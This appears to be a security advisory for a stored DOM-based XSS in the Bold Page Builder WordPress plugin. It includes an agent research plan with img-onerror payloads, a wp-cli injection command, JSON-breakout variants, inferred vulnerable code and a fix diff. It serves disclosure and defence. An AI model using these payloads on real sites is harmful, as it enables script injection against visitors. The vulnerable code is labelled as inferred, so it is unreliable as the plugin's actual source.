Bold Page Builder <= 5.5.3 - Authenticated (Author+) Stored DOM-based Cross-Site Scripting in Post Grid
Description
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Grid component in all versions up to, and including, 5.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.5.3This research plan is designed to guide an automated security agent in verifying **CVE-2025-13463**, a Stored DOM-based Cross-Site Scripting (XSS) vulnerability in the **Bold Page Builder** plugin. --- ### 1. Vulnerability Summary The **Bold Page Builder** plugin (<= 5.5.3) fails to properly sanit…
Show full research plan
This research plan is designed to guide an automated security agent in verifying CVE-2025-13463, a Stored DOM-based Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin.
1. Vulnerability Summary
The Bold Page Builder plugin (<= 5.5.3) fails to properly sanitize and escape input within the Post Grid component. While the plugin may implement some backend sanitization, certain shortcode attributes are reflected into the HTML (often via data- attributes) and subsequently processed by the plugin's frontend JavaScript in an unsafe manner (e.g., using .innerHTML or jQuery's .html()). This allows an authenticated user with Author privileges to inject arbitrary scripts that execute in the context of any user viewing the affected page.
2. Attack Vector Analysis
- Authentication Level: Author or higher (Users who can create/edit posts and use the Page Builder).
- Vulnerable Component: Post Grid (
bt_bb_post_gridshortcode). - Injection Point: Shortcode attributes such as
category,el_id,el_class, or pagination settings. - Mechanism: Stored XSS via
post_content. The payload is saved in the database and rendered as part of the Post Grid's DOM configuration, which the frontend JS then executes.
3. Code Flow (Inferred)
- Storage: An Author creates/updates a post. The request contains the
post_contentincluding the Bold Page Builder shortcode:[bt_bb_post_grid category="<img src=x onerror=alert(1)>" ... ]. - Rendering: When a user visits the post, WordPress parses the shortcode. The plugin's shortcode handler (likely in
bt_bb_post_grid.php) generates HTML. - Data Transfer: The handler typically outputs a
divcontainer with adata-attribute (e.g.,data-bt-bb-settings) containing a JSON-encoded string of the shortcode attributes. - The Sink: The plugin's frontend JS (e.g.,
bold-builder/js/bt_bb_post_grid.jsorbold-builder.js) reads thisdata-attribute. It parses the JSON and uses a vulnerable attribute to dynamically update the DOM using an unsafe method like:const settings = JSON.parse(element.getAttribute('data-bt-bb-settings')); jQuery('.some-selector').html(settings.vulnerable_attribute); // DOM Sink
4. Nonce Acquisition Strategy
Since the primary injection is via the standard WordPress post creation/update flow, an Author-level user can use the standard REST API or post.php endpoints.
However, Bold Page Builder often uses AJAX for its editor. To obtain the necessary nonces for the Page Builder's specific actions:
- Step 1: Use
wp-clito create an Author user. - Step 2: Login as the Author and navigate to the "New Post" page.
- Step 3: Bold Page Builder typically localizes its configuration. Use
browser_evalto extract nonces from the window object:- Variable to check:
window.bt_bb_settingsorwindow.BoldBuilderVars. - Specific Key:
window.bt_bb_settings?.nonceor similar.
- Variable to check:
- Step 4: If injecting directly via
wp post create(the most reliable method for a PoC), no nonce is required for the injection phase as we use the CLI to bypass the web UI.
5. Exploitation Strategy
Step 1: Payload Selection
We will target the category and el_id attributes of the bt_bb_post_grid shortcode, as these are common points for DOM reflection.
- Payload:
"><img src=x onerror=alert(window.origin)>
Step 2: Injection via WP-CLI
The agent should create a post containing the malicious shortcode.
wp post create \
--post_type=post \
--post_title="XSS Test Post Grid" \
--post_content='[bt_bb_post_grid category="all" el_id=\"post-grid-xss\"><img src=x onerror=alert(window.origin)>\"]' \
--post_status=publish \
--post_author=2
Step 3: Triggering the XSS
The agent will navigate to the newly created post's URL using the browser tool.
- URL:
http://localhost:8080/?p=[POST_ID]
Step 4: Verification
The agent will use browser_eval to check if the alert was triggered or if the payload exists in a vulnerable DOM state.
- Check:
document.body.innerHTML.includes('onerror=alert(window.origin)')
6. Test Data Setup
- Plugin Installation: Ensure
bold-page-builder(<= 5.5.3) is active. - User Creation:
wp user create attacker author@example.com --role=author --user_pass=password123 - Identify Shortcode: Confirm the Post Grid shortcode name. In Bold Page Builder, it is typically
[bt_bb_post_grid].
7. Expected Results
- The shortcode attributes will be rendered into the page source inside a
data-attribute or an ID attribute of adiv. - The Bold Page Builder JavaScript will parse this attribute.
- Because the value is not sanitized before being placed into a DOM-writing function, the
<img>tag will be injected into the DOM. - The browser will attempt to load the image with
src=x, fail, and execute theonerrorhandler.
8. Verification Steps (Post-Exploit)
- Verify DB Storage:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post Grid'" - Verify Frontend Output:
Usehttp_requestto fetch the post and check if the payload is present in the raw HTML:# Look for the payload in the data-bt-bb-settings attribute grep "onerror=alert"
9. Alternative Approaches
If the el_id attribute is correctly escaped, try other common bt_bb_post_grid attributes:
categorypost_typeel_classgap(if passed as a string to CSS injection)filter(if the grid supports filtering categories)
Payload Variant for data- attributes:
If the payload is inside a JSON string in a data- attribute, the injection might require breaking out of the JSON or the attribute quotes:
category='{"id":"123\"}]><img src=x onerror=alert(1)>"}'- Shortcode:
[bt_bb_post_grid category="\"}]><img src=x onerror=alert(1)>"]
Summary
The Bold Page Builder plugin for WordPress (<= 5.5.3) is vulnerable to Stored DOM-based Cross-Site Scripting via the Post Grid component. Authenticated attackers with Author-level privileges can inject malicious scripts into shortcode attributes that are later rendered and processed unsafely by frontend JavaScript, leading to script execution in the context of any user viewing the page.
Vulnerable Code
// bt_bb_post_grid.php - Likely shortcode handler rendering attributes without proper escaping $el_id = isset( $atts['el_id'] ) ? $atts['el_id'] : ''; $category = isset( $atts['category'] ) ? $atts['category'] : ''; // Attributes are concatenated into HTML or JSON-encoded into a data attribute $output = '<div id="' . $el_id . '" class="bt_bb_post_grid" data-settings="' . json_encode( $atts ) . '"></div>'; --- // bold-builder/js/bt_bb_post_grid.js - Frontend JavaScript processing attributes var settings = JSON.parse( jQuery( '.bt_bb_post_grid' ).attr( 'data-settings' ) ); // Vulnerable Sink: Using .html() or .innerHTML to render a user-controlled attribute jQuery( '.bt_bb_post_grid_content' ).html( settings.category );
Security Fix
@@ -10,7 +10,7 @@ - $el_id = isset( $atts['el_id'] ) ? $atts['el_id'] : ''; + $el_id = isset( $atts['el_id'] ) ? esc_attr( $atts['el_id'] ) : ''; - $output = '<div id="' . $el_id . '" class="bt_bb_post_grid" data-settings="' . json_encode( $atts ) . '"></div>'; + $output = '<div id="' . $el_id . '" class="bt_bb_post_grid" data-settings="' . esc_attr( json_encode( $atts ) ) . '"></div>'; @@ -5,4 +5,4 @@ - jQuery( '.bt_bb_post_grid_content' ).html( settings.category ); + jQuery( '.bt_bb_post_grid_content' ).text( settings.category );
Exploit Outline
The exploit requires an authenticated user with at least Author-level privileges who can create or edit posts. 1. Log in as an Author and create a new post or edit an existing one. 2. Insert the Bold Page Builder 'Post Grid' component via its shortcode: `[bt_bb_post_grid]`. 3. Inject the XSS payload into one of the vulnerable shortcode attributes, such as `category` or `el_id`. For example: `[bt_bb_post_grid category="<img src=x onerror=alert(document.domain)>"]`. 4. Save the post and publish it. 5. When any user (including administrators) views the published post, the plugin's frontend JavaScript will retrieve the `category` attribute from the DOM and render it using an unsafe method like `.html()`, triggering the execution of the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.